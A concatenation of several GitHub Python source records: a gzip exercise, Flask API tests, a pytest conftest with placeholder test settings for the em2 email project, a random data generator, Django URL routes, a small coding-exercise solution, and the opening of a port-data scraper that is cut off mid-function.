来确认你的 Python支持这两个库.\n\n'''\nimport gzip\n\n\n# 压缩\ndef compressed_file(filepath):\n file_in = open(filepath, 'rb')\n file_out = open(filepath + '.gz', 'wb')\n file_out.writelines(file_in)\n file_out.close()\n file_in.close()\n\n\ndef uncompress_file(zippath, outpath):\n file_in = gzip.open(zippath, 'rb')\n file_out = open(outpath, 'wb')\n content = file_in.read()\n file_out.write(content)\n file_in.close()\n file_out.close()\n\n\nif __name__ == '__main__':\n # pass\n # compressed_file('test.txt')\n uncompress_file('test.txt.gz', 'test(副本).txt')\n","repo_name":"tazbingor/learning-python2.7","sub_path":"python-exercise/2-file-and-function/py091_compressed_files.py","file_name":"py091_compressed_files.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41797754382","text":"import app\nimport os\nimport unittest\n\nfrom query import *\n\nclass TestCase(unittest.TestCase):\n\n def setUp(self):\n app.app.testing = True\n self.app = app.app.test_client()\n\n def test_home(self):\n # Checks content of application root page\n res = self.app.get('/')\n self.assertEqual(200, res.status_code)\n types = res.headers['content-type']\n # data = res.data.decode('utf-8')\n self.assertIn('text/html', types)\n\n def test_quote(self):\n # Checks the /quote/ endpoint\n res = self.app.get('/quote/')\n self.assertEqual(200, res.status_code)\n types = res.headers['content-type']\n self.assertIn('application/json', types)\n data = res.json\n self.assertTrue(len(data['quotes']) != 0)\n self.assertTrue(len(data['quotes'][0]['author']) != 0)\n\n def test_quote_args(self):\n # Checks the args for the /quote/endpoint arguments\n res = self.app.get(f'/quote/?num={0}')\n data = res.json\n self.assertEqual(200, res.status_code)\n self.assertTrue(len(data['quotes']) == 0)\n num = random.randint(1, quote_amount())\n res = self.app.get(f'/quote/?num={num}')\n data = res.json\n self.assertEqual(200, res.status_code)\n self.assertTrue(len(data['quotes']) == num)\n\n def test_quote_id(self):\n res = self.app.get('/quote/0')\n self.assertEqual(200, res.status_code)\n def test_author_id(self):\n res = self.app.get('/quote/author/0')\n self.assertEqual(200, res.status_code)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Vyvy-vi/dev-quotes-api","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"13248227409","text":"import asyncio\nimport base64\nimport json\nimport os\nfrom dataclasses import dataclass\nfrom datetime import datetime, timezone\nfrom email.message import EmailMessage\nfrom enum import Enum\nfrom io import BytesIO\nfrom typing import List, Optional\nfrom uuid import uuid4\n\nimport pytest\nfrom aiohttp import ClientSession, ClientTimeout\nfrom aiohttp.test_utils import TestClient, teardown_test_loop\nfrom aioredis import create_redis\nfrom arq import ArqRedis, Worker\nfrom arq.connections import RedisSettings\nfrom atoolbox.db.helpers import DummyPgPool\nfrom atoolbox.test_utils import DummyServer, create_dummy_server\nfrom buildpg import Values\nfrom cryptography.fernet import Fernet\nfrom PIL import Image, ImageDraw\nfrom yarl import URL\n\nfrom em2.auth.utils import mk_password\nfrom em2.background import push_multiple\nfrom em2.core import Action, Connections, apply_actions, generate_conv_key\nfrom em2.main import create_app\nfrom em2.protocol.core import get_signing_key\nfrom em2.protocol.smtp import LogSmtpHandler, SesSmtpHandler\nfrom em2.settings import Settings\nfrom em2.utils.web import MakeUrl\nfrom em2.worker import worker_settings\n\nfrom . import dummy_server\nfrom .resolver import TestDNSResolver\n\ncommit_transactions = 'KEEP_DB' in os.environ\n\n\n@pytest.fixture(scope='session', name='settings_session')\ndef _fix_settings_session():\n pg_db = 'em2_test'\n redis_db = 2\n\n test_worker = os.getenv('PYTEST_XDIST_WORKER')\n if test_worker:\n worker_id = int(test_worker.replace('gw', ''))\n redis_db = worker_id + 2\n if worker_id:\n pg_db = f'em2_test_{worker_id}'\n\n return Settings(\n testing=True,\n pg_dsn=f'postgres://postgres@localhost:5432/{pg_db}',\n redis_settings=f'redis://localhost:6379/{redis_db}',\n bcrypt_work_factor=6,\n max_request_size=1024 ** 2,\n aws_access_key='testing_access_key',\n aws_secret_key='testing_secret_key',\n ses_url_token='testing',\n aws_sns_signing_host='localhost',\n aws_sns_signing_schema='http',\n internal_auth_key='testing' * 6,\n auth_key=Fernet.generate_key(),\n s3_temp_bucket='s3_temp_bucket.example.com',\n s3_file_bucket='s3_files_bucket.example.com',\n s3_cache_bucket='s3_cache_bucket.example.com',\n max_ref_image_size=666,\n max_ref_image_count=10,\n vapid_private_key=(\n 'MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgvGPhHfTSfxCod+wT'\n 'zLuyK8KWjPGGvKJKJjzBGSF47YuhRANCAAQJNQfHBSOe5nI5fmUcwTFw3ckqXXvR'\n 'F632vcMyB9RxPMaxicdqPiLg45GIk9oeEtm1kQjHQe7ikWxPFAm7uxkB'\n ),\n vapid_sub_email='vapid-reports@example.com',\n signing_secret_key=b'4' * 64,\n max_em2_file_size=500,\n )\n\n\n@pytest.fixture(name='dummy_server')\nasync def _fix_dummy_server(loop, aiohttp_server):\n ctx = {'smtp': [], 's3_files': {}, 'webpush': [], 'em2push': [], 'em2_follower_push': []}\n return await create_dummy_server(aiohttp_server, extra_routes=dummy_server.routes, extra_context=ctx)\n\n\nreplaced_url_fields = 'grecaptcha_url', 'ses_endpoint_url', 's3_endpoint_url'\n\n\n@pytest.fixture(name='settings')\ndef _fix_settings(dummy_server: DummyServer, tmpdir, settings_session):\n update = {f: f'{dummy_server.server_name}/{f}/' for f in replaced_url_fields}\n return settings_session.copy(update=update)\n\n\n@pytest.fixture(scope='session', name='main_db_create')\ndef _fix_main_db_create(settings_session):\n # loop fixture has function scope so can't be used here.\n from atoolbox.db import prepare_database\n\n loop = asyncio.new_event_loop()\n loop.run_until_complete(prepare_database(settings_session, True))\n teardown_test_loop(loop)\n\n\n@pytest.fixture(name='db_conn')\nasync def _fix_db_conn(loop, settings, main_db_create):\n from buildpg import asyncpg\n\n conn = await asyncpg.connect_b(dsn=settings.pg_dsn, loop=loop)\n\n tr = conn.transaction()\n await tr.start()\n\n yield DummyPgPool(conn)\n\n if commit_transactions:\n await tr.commit()\n else:\n await tr.rollback()\n await conn.close()\n\n\n@pytest.fixture(name='conns')\ndef _fix_conns(db_conn, redis, settings):\n return Connections(db_conn.as_dummy_conn(), redis, settings)\n\n\n@pytest.yield_fixture(name='redis')\nasync def _fix_redis(loop, settings):\n addr = settings.redis_settings.host, settings.redis_settings.port\n\n redis = await create_redis(addr, db=settings.redis_settings.database, encoding='utf8', commands_factory=ArqRedis)\n await redis.flushdb()\n\n yield redis\n\n redis.close()\n await redis.wait_closed()\n\n\nclass UserTestClient(TestClient):\n async def post_json(self, path, data=None, *, origin=None, status=200):\n if not isinstance(data, (str, bytes)):\n data = json.dumps(data)\n\n r = await self.post(\n path,\n data=data,\n headers={\n 'Content-Type': 'application/json',\n 'Referer': 'http://localhost:3000/dummy-referer/',\n 'Origin': origin or 'http://localhost:3000',\n },\n )\n if status:\n assert r.status == status, await r.text()\n return r\n\n async def get_json(self, path, *, status=200, **kwargs):\n r = await self.get(path, **kwargs)\n assert r.status == status, await r.text()\n return await r.json()\n\n async def get_ndjson(self, path, *, status=200, **kwargs):\n r = await self.get(path, **kwargs)\n assert r.status == status, await r.text()\n assert r.content_type == 'text/plain'\n text = await r.text()\n return [json.loads(line) for line in text.split('\\n') if line]\n\n\n@pytest.fixture(name='resolver')\ndef _fix_resolver(dummy_server: DummyServer, loop):\n return TestDNSResolver(dummy_server, loop=loop)\n\n\n@pytest.fixture(name='cli')\nasync def _fix_cli(settings, db_conn, aiohttp_server, redis, resolver):\n app = await create_app(settings=settings)\n app['pg'] = db_conn\n app['protocol_app']['resolver'] = resolver\n server = await aiohttp_server(app)\n settings.local_port = server.port\n resolver.main_server = server\n cli = UserTestClient(server)\n\n yield cli\n\n await cli.close()\n\n\ndef em2_json_default(v):\n if isinstance(v, Enum):\n return v.value\n if isinstance(v, datetime):\n return v.isoformat()\n raise TypeError(f'unable to serialize {type(v)}: {v!r}')\n\n\nclass Em2TestClient(TestClient):\n def __init__(self, *args, settings, dummy_server, factory, **kwargs):\n super().__init__(*args, **kwargs)\n self._settings: Settings = settings\n self._dummy_server: DummyServer = dummy_server\n self._factory: Factory = factory\n self._url_func = MakeUrl(self.app).get_path\n self.signing_key = get_signing_key(self._settings.signing_secret_key)\n\n async def post_json(self, path, data, *, expected_status=200):\n if not isinstance(data, (str, bytes)):\n data = json.dumps(data, default=em2_json_default)\n\n sign_ts = datetime.utcnow().isoformat()\n to_sign = f'POST http://127.0.0.1:{self.server.port}{path} {sign_ts}\\n{data}'.encode()\n r = await self.post(\n path,\n data=data,\n headers={\n 'Content-Type': 'application/json',\n 'Signature': sign_ts + ',' + self.signing_key.sign(to_sign).signature.hex(),\n },\n )\n if expected_status:\n assert r.status == expected_status, await r.text()\n return r\n\n async def push_actions(self, conv_key, actions, *, em2_node=None, expected_status=200):\n em2_node = em2_node or f'localhost:{self._dummy_server.server.port}/em2'\n path = self.url('protocol:em2-push', conv=conv_key, query={'node': em2_node})\n return await self.post_json(path, data={'actions': actions}, expected_status=expected_status)\n\n async def create_conv(\n self,\n *,\n em2_node=None,\n actor='actor@em2-ext.example.com',\n subject='Test Subject',\n recipient='recipient@example.com',\n msg='test message',\n expected_status=200,\n ):\n # use recipient@example.com here so recipient can be changed in test errors\n if not await self._factory.conn.fetchval('select 1 from users where email=$1', 'recipient@example.com'):\n await self._factory.create_user(email='recipient@example.com')\n ts = datetime(2032, 6, 6, 12, 0, tzinfo=timezone.utc)\n conv_key = generate_conv_key(actor, ts, subject)\n actions = [\n {'id': 1, 'act': 'participant:add', 'ts': ts, 'actor': actor, 'participant': actor},\n {'id': 2, 'act': 'participant:add', 'ts': ts, 'actor': actor, 'participant': recipient},\n {'id': 3, 'act': 'message:add', 'ts': ts, 'actor': actor, 'body': msg},\n {'id': 4, 'act': 'conv:publish', 'ts': ts, 'actor': actor, 'body': subject},\n ]\n return await self.push_actions(conv_key, actions, em2_node=em2_node, expected_status=expected_status)\n\n def url(self, name: str, *, query=None, **kwargs) -> URL:\n return self._url_func(name, query=query, **kwargs)\n\n\n@pytest.fixture(name='em2_cli')\nasync def _fix_em2_cli(settings, aiohttp_client, cli: UserTestClient, dummy_server, factory):\n cli = Em2TestClient(cli.server, settings=settings, dummy_server=dummy_server, factory=factory)\n\n yield cli\n\n await cli.close()\n\n\n@pytest.fixture(name='url')\ndef _fix_url(cli: UserTestClient):\n return MakeUrl(cli.server.app).get_path\n\n\n@dataclass\nclass User:\n email: str\n first_name: str\n last_name: str\n password: str\n auth_user_id: int\n id: Optional[int] = None\n session_id: Optional[int] = None\n\n\n@dataclass\nclass Conv:\n key: str\n id: int\n\n\nclass Factory:\n def __init__(self, redis, cli, url):\n self.redis: ArqRedis = redis\n self.cli = cli\n self.conn = self.cli.server.app['pg'].as_dummy_conn()\n self.conns = Connections(self.conn, self.redis, cli.server.app['settings'])\n self.email_index = 1\n\n self.user: User = None\n self.conv: Conv = None\n self._url = url\n\n async def create_user(self, *, login=True, email=None, first_name='Tes', last_name='Ting', pw='testing') -> User:\n if email is None:\n email = f'testing-{self.email_index}@example.com'\n self.email_index += 1\n\n password_hash = mk_password(pw, self.conns.settings)\n auth_user_id = await self.conn.fetchval(\n \"\"\"\n insert into auth_users (email, first_name, last_name, password_hash, account_status)\n values ($1, $2, $3, $4, 'active')\n on conflict (email) do nothing returning id\n \"\"\",\n email,\n first_name,\n last_name,\n password_hash,\n )\n if not auth_user_id:\n raise RuntimeError(f'user with email {email} already exists')\n\n user_id = None\n session_id = None\n if login:\n r1, r2 = await self.login(email, pw)\n obj = await r1.json()\n session_id = obj['session']['session_id']\n user_id = await self.conn.fetchval('select id from users where email=$1', email)\n\n user = User(email, first_name, last_name, pw, auth_user_id, user_id, session_id)\n self.user = self.user or user\n return user\n\n async def create_simple_user(\n self,\n email: str = None,\n visibility: str = None,\n profile_type: str = None,\n main_name: str = 'John',\n last_name: str = None,\n strap_line: str = None,\n image_storage: str = None,\n profile_status: str = None,\n profile_status_message: str = None,\n profile_details: str = None,\n ):\n if email is None:\n email = f'testing-{self.email_index}@example.com'\n self.email_index += 1\n user_id = await self.conn.fetchval_b(\n 'insert into users (:values__names) values :values on conflict (email) do nothing returning id',\n values=Values(\n email=email,\n visibility=visibility,\n profile_type=profile_type,\n main_name=main_name,\n last_name=last_name,\n strap_line=strap_line,\n image_storage=image_storage,\n profile_status=profile_status,\n profile_status_message=profile_status_message,\n profile_details=profile_details,\n ),\n )\n if not user_id:\n raise RuntimeError(f'user with email {email} already exists')\n\n await self.conn.execute(\n \"\"\"\n update users set\n vector=setweight(to_tsvector(main_name || ' ' || coalesce(last_name, '')), 'A') ||\n setweight(to_tsvector(coalesce(strap_line, '')), 'B') ||\n to_tsvector(coalesce(profile_details, ''))\n where id=$1\n \"\"\",\n user_id,\n )\n return user_id\n\n def url(self, name, *, query=None, **kwargs):\n if self.user and name.startswith('ui:'):\n kwargs.setdefault('session_id', self.user.session_id)\n return self._url(name, query=query, **kwargs)\n\n async def login(self, email, password, *, captcha=False):\n data = dict(email=email, password=password)\n if captcha:\n data['grecaptcha_token'] = '__ok__'\n\n r1 = await self.cli.post(\n self._url('auth:login'),\n data=json.dumps(data),\n headers={'Content-Type': 'application/json', 'Origin': 'null'},\n )\n assert r1.status == 200, await r1.text()\n obj = await r1.json()\n\n r2 = await self.cli.post_json(self._url('ui:auth-token'), data={'auth_token': obj['auth_token']})\n assert r2.status == 200, await r2.text()\n assert len(self.cli.session.cookie_jar) == 1\n return r1, r2\n\n async def create_conv(\n self, subject='Test Subject', message='Test Message', session_id=None, participants=(), publish=False\n ) -> Conv:\n data = {'subject': subject, 'message': message, 'publish': publish, 'participants': participants}\n r = await self.cli.post_json(\n self.url('ui:create', session_id=session_id or self.user.session_id), data, status=201\n )\n conv_key = (await r.json())['key']\n conv_id = await self.conn.fetchval('select id from conversations where key=$1', conv_key)\n conv = Conv(conv_key, conv_id)\n self.conv = self.conv or conv\n return conv\n\n async def create_label(self, name='Test Label', *, user_id=None, ordering=None, color=None, description=None):\n val = dict(name=name, user_id=user_id or self.user.id, ordering=ordering, color=color, description=description)\n return await self.conn.fetchval_b(\n 'insert into labels (:values__names) values :values returning id',\n values=Values(**{k: v for k, v in val.items() if v is not None}),\n )\n\n async def act(self, conv_id: int, action: Action) -> List[int]:\n key, leader = await self.conns.main.fetchrow('select key, leader_node from conversations where id=$1', conv_id)\n interaction_id = uuid4().hex\n if leader:\n await self.conns.redis.enqueue_job('follower_push_actions', key, leader, interaction_id, [action])\n else:\n action_ids = await apply_actions(self.conns, conv_id, [action])\n\n if action_ids:\n await push_multiple(self.conns, conv_id, action_ids)\n return action_ids\n\n async def create_contact(\n self,\n owner: int,\n user_id: int,\n *,\n profile_type: str = None,\n main_name: str = None,\n last_name: str = None,\n strap_line: str = None,\n image_storage: str = None,\n **kwargs,\n ):\n val = dict(\n owner=owner,\n profile_user=user_id,\n profile_type=profile_type,\n main_name=main_name,\n last_name=last_name,\n strap_line=strap_line,\n image_storage=image_storage,\n **kwargs,\n )\n contact_id = await self.conn.fetchval_b(\n 'insert into contacts (:values__names) values :values returning id',\n values=Values(**{k: v for k, v in val.items() if v is not None}),\n )\n # TODO update contact search vector\n return contact_id\n\n\n@pytest.fixture(name='factory')\ndef _fix_factory(redis, cli, url):\n return Factory(redis, cli, url)\n\n\n@pytest.yield_fixture(name='worker_ctx')\nasync def _fix_worker_ctx(redis, settings, db_conn, dummy_server, resolver):\n session = ClientSession(timeout=ClientTimeout(total=10))\n ctx = dict(\n settings=settings,\n pg=db_conn,\n client_session=session,\n resolver=resolver,\n redis=redis,\n signing_key=get_signing_key(settings.signing_secret_key),\n )\n ctx['smtp_handler'] = LogSmtpHandler(ctx)\n\n yield ctx\n\n await session.close()\n\n\n@pytest.yield_fixture(name='worker')\nasync def _fix_worker(redis, worker_ctx):\n worker = Worker(\n functions=worker_settings['functions'], redis_pool=redis, burst=True, poll_delay=0.01, ctx=worker_ctx\n )\n\n yield worker\n\n worker.pool = None\n await worker.close()\n\n\n@pytest.yield_fixture(name='ses_worker')\nasync def _fix_ses_worker(redis, settings, db_conn, resolver):\n session = ClientSession(timeout=ClientTimeout(total=10))\n ctx = dict(\n settings=settings,\n pg=db_conn,\n client_session=session,\n resolver=resolver,\n signing_key=get_signing_key(settings.signing_secret_key),\n )\n ctx.update(smtp_handler=SesSmtpHandler(ctx), conns=Connections(ctx['pg'], redis, settings))\n worker = Worker(functions=worker_settings['functions'], redis_pool=redis, burst=True, poll_delay=0.01, ctx=ctx)\n\n yield worker\n\n await ctx['smtp_handler'].shutdown()\n worker.pool = None\n await worker.close()\n await session.close()\n\n\n@pytest.fixture(name='send_to_remote')\nasync def _fix_send_to_remote(factory: Factory, worker: Worker, db_conn):\n await factory.create_user()\n await factory.create_conv(participants=[{'email': 'sender@example.net'}], publish=True)\n assert 4 == await db_conn.fetchval('select count(*) from actions')\n await worker.async_run()\n assert (worker.jobs_complete, worker.jobs_failed, worker.jobs_retried) == (3, 0, 0)\n assert 1 == await db_conn.fetchval('select count(*) from sends')\n return await db_conn.fetchrow('select id, ref from sends')\n\n\n@pytest.fixture(name='sns_data')\ndef _fix_sns_data(dummy_server: DummyServer, mocker):\n def run(message_id, *, mock_verify=True, **message):\n if mock_verify:\n mocker.patch('em2.protocol.views.smtp_ses.x509.load_pem_x509_certificate')\n return {\n 'Type': 'Notification',\n 'MessageId': message_id,\n 'Subject': 'Amazon SES Email Receipt Notification',\n 'Timestamp': '2032-03-11T18:00:00.000Z',\n 'TopicArn': 'arn:aws:sns:us-east-1:123:em2-webhook',\n 'Message': json.dumps(message),\n 'SigningCertURL': dummy_server.server_name + '/sns_signing_url.pem',\n 'Signature': base64.b64encode(b'the signature').decode(),\n }\n\n return run\n\n\n@pytest.fixture(name='attachment')\ndef _fix_attachment():\n def run(filename, mime_type, content, headers=None):\n attachment = EmailMessage()\n for k, v in (headers or {}).items():\n attachment[k] = v\n maintype, subtype = mime_type.split('/', 1)\n kwargs = dict(subtype=subtype, filename=filename)\n if maintype != 'text':\n # not sure why this is\n kwargs['maintype'] = maintype\n attachment.set_content(content, **kwargs)\n for k, v in (headers or {}).items():\n if k in attachment:\n attachment.replace_header(k, v)\n else:\n attachment.add_header(k, v)\n return attachment\n\n return run\n\n\n@pytest.fixture(name='create_email')\ndef _fix_create_email():\n def run(\n subject='Test Subject',\n e_from='sender@example.net',\n to=('testing-1@example.com',),\n text_body='this is a message.',\n html_body='this is an html message.',\n message_id='message-id@example.net',\n attachments=(),\n headers=None,\n ):\n email_msg = EmailMessage()\n if message_id is not None:\n email_msg['Message-ID'] = message_id\n email_msg['Subject'] = subject\n email_msg['From'] = e_from\n email_msg['To'] = ','.join(to)\n # email.utils.format_datetime(datetime(2032, 1, 1, 12, 0))\n email_msg['Date'] = 'Thu, 01 Jan 2032 12:00:00 -0000'\n\n for k, v in (headers or {}).items():\n email_msg[k] = v\n\n text_body and email_msg.set_content(text_body)\n html_body and email_msg.add_alternative(html_body, subtype='html')\n\n for attachment in attachments:\n if email_msg.get_content_type() != 'multipart/mixed':\n email_msg.make_mixed()\n email_msg.attach(attachment)\n\n return email_msg\n\n return run\n\n\n@pytest.fixture(name='create_ses_email')\ndef _fix_create_ses_email(dummy_server, sns_data, create_email):\n def run(\n *args,\n to=('testing-1@example.com',),\n key='foobar',\n headers=None,\n message_id='message-id@example.net',\n receipt_extra=None,\n **kwargs,\n ):\n msg = create_email(*args, to=to, message_id=message_id, headers=headers, **kwargs)\n dummy_server.app['s3_files'][key] = msg.as_string()\n\n headers = headers or {}\n h = [{'name': k, 'value': v} for k, v in headers.items()]\n if message_id is not None:\n h.append({'name': 'Message-ID', 'value': message_id})\n mail = dict(headers=h, commonHeaders={'to': list(to)})\n receipt = dict(\n action={'type': 'S3', 'bucketName': 'em2-testing', 'objectKeyPrefix': '', 'objectKey': key},\n spamVerdict={'status': 'PASS'},\n virusVerdict={'status': 'PASS'},\n spfVerdict={'status': 'PASS'},\n dkimVerdict={'status': 'PASS'},\n dmarcVerdict={'status': 'PASS'},\n )\n receipt.update(receipt_extra or {})\n return sns_data(message_id, notificationType='Received', mail=mail, receipt=receipt)\n\n return run\n\n\n@pytest.fixture(name='create_image')\ndef _fix_create_image():\n def create_image(image_format='JPEG'):\n stream = BytesIO()\n\n image = Image.new('RGB', (400, 300), (50, 100, 150))\n ImageDraw.Draw(image).polygon([(0, 0), (image.width, 0), (image.width, 100), (0, 100)], fill=(128, 128, 128))\n image.save(stream, format=image_format, optimize=True)\n return stream.getvalue()\n\n return create_image\n\n\n@pytest.fixture(name='web_push_sub')\ndef _fix_web_push_sub(dummy_server):\n return {\n 'endpoint': dummy_server.server_name.replace('localhost', '127.0.0.1') + '/vapid/',\n 'expirationTime': None,\n 'keys': {\n # generated by code in dummy_server.py\n 'p256dh': 'BGsX0fLhLEJH-Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT-NC4v4af5uO5-tKfA-eFivOM1drMV7Oy7ZAaDe_UfU',\n 'auth': 'x' * 32,\n },\n }\n\n\n@pytest.fixture(scope='session', name='alt_settings_session')\ndef _fix_alt_settings_session(settings_session):\n pg_db = 'em2_test_alt'\n redis_db = 3\n\n test_worker = os.getenv('PYTEST_XDIST_WORKER')\n if test_worker:\n worker_id = int(test_worker.replace('gw', ''))\n redis_db = worker_id + 8\n if worker_id:\n pg_db = f'em2_test_alt_{worker_id}'\n\n return settings_session.copy(\n update={\n 'pg_dsn': f'postgres://postgres@localhost:5432/{pg_db}',\n 'redis_settings': RedisSettings(database=redis_db),\n }\n )\n\n\n@pytest.fixture(name='alt_settings')\ndef _fix_alt_settings(dummy_server: DummyServer, tmpdir, alt_settings_session):\n update = {f: f'{dummy_server.server_name}/{f}/' for f in replaced_url_fields}\n return alt_settings_session.copy(update=update)\n\n\n@pytest.fixture(scope='session', name='alt_db_create')\ndef _fix_alt_db_create(alt_settings_session):\n # loop fixture has function scope so can't be used here.\n from atoolbox.db import prepare_database\n\n loop = asyncio.new_event_loop()\n loop.run_until_complete(prepare_database(alt_settings_session, True))\n teardown_test_loop(loop)\n\n\n@pytest.fixture(name='alt_db_conn')\nasync def _fix_alt_db_conn(loop, alt_settings, alt_db_create):\n from buildpg import asyncpg\n\n conn = await asyncpg.connect_b(dsn=alt_settings.pg_dsn, loop=loop)\n\n tr = conn.transaction()\n await tr.start()\n\n yield DummyPgPool(conn)\n\n if commit_transactions:\n await tr.commit()\n else:\n await tr.rollback()\n await conn.close()\n\n\n@pytest.yield_fixture(name='alt_redis')\nasync def _fix_alt_redis(loop, alt_settings):\n addr = alt_settings.redis_settings.host, alt_settings.redis_settings.port\n\n redis = await create_redis(\n addr, db=alt_settings.redis_settings.database, encoding='utf8', commands_factory=ArqRedis\n )\n await redis.flushdb()\n\n yield redis\n\n redis.close()\n await redis.wait_closed()\n\n\n@pytest.fixture(name='alt_conns')\ndef _fix_alt_conns(alt_db_conn, alt_redis, alt_settings):\n return Connections(alt_db_conn, alt_redis, alt_settings)\n\n\n@pytest.fixture(name='alt_cli')\nasync def _fix_alt_cli(alt_settings, alt_db_conn, aiohttp_server, alt_redis, resolver: TestDNSResolver):\n app = await create_app(settings=alt_settings)\n app['pg'] = alt_db_conn\n app['protocol_app']['resolver'] = resolver\n server = await aiohttp_server(app)\n resolver.alt_server = server\n alt_settings.local_port = server.port\n cli = UserTestClient(server)\n\n yield cli\n\n await cli.close()\n\n\n@pytest.fixture(name='alt_url')\ndef _fix_alt_url(alt_cli: UserTestClient):\n return MakeUrl(alt_cli.server.app).get_path\n\n\n@pytest.fixture(name='alt_factory')\nasync def _fix_alt_factory(alt_redis, alt_cli, alt_url):\n return Factory(alt_redis, alt_cli, alt_url)\n\n\n@pytest.yield_fixture(name='alt_worker_ctx')\nasync def _fix_alt_worker_ctx(alt_redis, alt_settings, alt_db_conn, resolver):\n session = ClientSession(timeout=ClientTimeout(total=10))\n ctx = dict(\n settings=alt_settings,\n pg=alt_db_conn,\n client_session=session,\n resolver=resolver,\n redis=alt_redis,\n signing_key=get_signing_key(alt_settings.signing_secret_key),\n )\n ctx['smtp_handler'] = LogSmtpHandler(ctx)\n\n yield ctx\n\n await session.close()\n\n\n@pytest.yield_fixture(name='alt_worker')\nasync def _fix_alt_worker(alt_redis, alt_worker_ctx):\n worker = Worker(\n functions=worker_settings['functions'], redis_pool=alt_redis, burst=True, poll_delay=0.01, ctx=alt_worker_ctx\n )\n\n yield worker\n\n worker.pool = None\n await worker.close()\n\n\ndef create_raw_image(width: int = 600, height: int = 600, mode: str = 'RGB') -> Image:\n image = Image.new(mode, (width, height), (50, 100, 150))\n ImageDraw.Draw(image).line((0, 0) + image.size, fill=128)\n return image\n\n\ndef create_image(width: int = 600, height: int = 600, mode: str = 'RGB', format: str = 'JPEG') -> bytes:\n image = create_raw_image(width, height, mode)\n stream = BytesIO()\n image.save(stream, format=format, optimize=True)\n return stream.getvalue()\n","repo_name":"samuelcolvin/em2","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":27534,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"40304734371","text":"import random\n\nusernames = [\"cwapc\",\n\"gvtvj\",\n\"csati\",\n\"ahxmn\",\n\"nhekh\",\n\"dezmt\",\n\"njkfw\",\n\"kmsin\",\n\"flbxt\",\n\"vdlhv\",\n\"gkknh\",\n\"pzibi\",\n\"whprn\",\n\"cuzwi\",\n\"stskm\",\n\"gfcbf\",\n\"dwpzo\",\n\"ojmbx\",\n\"mlnko\",\n\"gcdnc\"]\n\nuserid = [\n 59618,\n 84818,\n 36687,\n 58667,\n 30840,\n 36669,\n 97720,\n 48336,\n 18462,\n 97262,\n 23562,\n 78062,\n 22272,\n 28779,\n 73040,\n 20144,\n 47268,\n 17787,\n 97226,\n 94060\n]\n\n\n\nwith open(\"data.txt\", \"w\") as f: \n f.write(\"#Courses\")\n for i in range(10):\n course = \"\\n\" + \"TDT410\" + str(i) + \",\" + \"Example Course \" + str(i)\n f.write(course) \n\n f.write(\"\\n\" + \"#Students\")\n for i in range(20):\n name = usernames[i-1]\n birtyear = 1990 + random.randint(0, 9)\n user = userid[i-1]\n f.write(\"\\n\" + name + \",\" + str(birtyear) + ',' + str(user))\n\n f.write(\"\\n\" + \"#Results\")\n for user in userid:\n for i in range(10):\n f.write(\"\\n\" + str(user) + \",\" + str(random.randint(1,5)) + \",\" + \"TDT410\" + str(i))\n\n","repo_name":"Eliassg/TDT4171","sub_path":"assignment_5/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42946704424","text":"from django.urls import path\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('novedades/', views.novedades, name='novedades'),\n path('item//', views.individual, name='individual'),\n path('carrito/', views.carrito, name='carrito'),\n # path('agregar_carrito//', views.agregarCarrito, name='agregarCarrito'),\n path(\"crear_usuario\", views.crearUsuario, name=\"crear_usuario\"),\n path('eliminar//', views.eliminarDelCarrito, name='eliminarDelCarrito'),\n path('finalizado/', views.finalizarPedido, name='finalizado'),\n path('personalizados/', views.personalizados, name='personalizados')\n\n\n]","repo_name":"AriNasisi/PIG_CAC2022","sub_path":"Stickers/StickerApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"7157615561","text":"numss = [3,1,2,3], [3,3,3,2,2,4], [3,3,3,2,2,2]\n\n\ndef solution(nums):\n get = len(nums) // 2\n sets = len(set(nums))\n \n if sets <= get:\n return sets\n else:\n return get\n\nfor nums in numss:\n print(solution(nums))","repo_name":"mjw2705/CS","sub_path":"Programmers/level1/pocatmon.py","file_name":"pocatmon.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"70473047895","text":"import requests\nfrom playwright.sync_api import sync_playwright\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport zipfile\nimport os\n\nxpath = '//*[@id=\"lista_arquivosea\"]/table/tbody' \nbase_url = 'https://web3.antaq.gov.br/ea'\nurl = base_url + '/sense/download.html#pt'\ndate_selector = '//*[@id=\"anotxt\"]'\nstart_date = 2017\nend_date = 2019\n\ndef unzip_file(path):\n with zipfile.ZipFile(path, 'r') as zip:\n zip.extractall(path='dados/')\n\ndef get_links(page):\n soup = BeautifulSoup(page, 'html.parser')\n results = soup.find_all('a', href=True)\n return [base_url+e['href'].lstrip('..') for e in results]\n\ndef get_file(url):\n path ='dados/' + url.split('/').pop()\n res = requests.get(url)\n if res.status_code == requests.codes.OK:\n with open(path, 'wb') as file:\n file.write(res.content)\n if '.zip' in path:\n unzip_file(path)\n os.remove(path)\n\ndef save_table(df, table):\n # df.to_sql(table, con, if_exists='append')\n df.to_csv(f'{table}.csv',mode='a')\n print(f'table {table} saved')\n\ndef generate_and_save_tables(year):\n atracacao = pd.read_csv(f'dados/{year}Atracacao.txt', sep=';')\n t_atracacao = pd.read_csv(f'dados/{year}TemposAtracacao.txt', sep=';')\n fato_atracacao = pd.merge(atracacao,t_atracacao, on='IDAtracacao')\n save_table(fato_atracacao, 'fato_atracacao')\n carga = pd.read_csv(f'dados/{year}Carga.txt', sep=';')\n 